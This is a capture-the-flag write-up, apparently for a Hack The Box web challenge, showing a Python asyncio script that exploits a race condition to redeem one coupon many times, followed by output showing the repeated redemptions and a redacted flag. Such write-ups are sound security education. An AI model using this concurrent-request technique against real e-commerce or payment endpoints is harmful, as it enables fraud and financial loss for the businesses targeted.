This challenge allows us to apply one coupon. With a race condition we can exploit this so that we can redeem multiple coupons at the same time before the application can register that it has already been applied.
This can be done in bash, but I used asyncio
and httpx
and a python script to get the flag. asyncio
allows you to write asynchronous code that can run concurrently without blocking the event loop.
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import httpx
import asyncio
import sys
url = f"http://{sys.argv[1]}/api/"
api_coupon = "coupons/apply"
api_purchase = "purchase"
item = '{"item":"C8"}'
coupon = '{"coupon_code":"HTB_100"}'
async def apply_coupon(session):
async with httpx.AsyncClient() as client:
response = await client.post(url + api_coupon , json={"coupon_code":"HTB_100"}, cookies=session)
print(response.text)
session.update(response.cookies)
async def main():
async with httpx.AsyncClient() as client:
# reset session
response = await client.get(url + 'reset')
# perform purchase to get session
response = await client.post(url + api_purchase, json={"item":"C8"})
session = response.cookies
print(response.text)
print(session)
# perform race condition
tasks = []
for i in range(1, 20):
tasks.append(asyncio.ensure_future(apply_coupon(session)))
print("starting requests")
await asyncio.gather(*tasks)
print("requests completed")
# perform purchase again
response = await client.post(url + api_purchase, json={"item":"C8"}, cookies=session)
print(response.text)
asyncio.run(main())
output
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ python exploit3.py IP:PORT
{"message":"Insufficient balance!"}
starting requests
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"This coupon is already redeemed!"}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
{"message":"$1 coupon redeemed successfully! Please select an item for order."}
requests completed
{"flag":"HTB{**REDACTED**}","message":"Thank you for your order! $4.63 coupon credits left!"}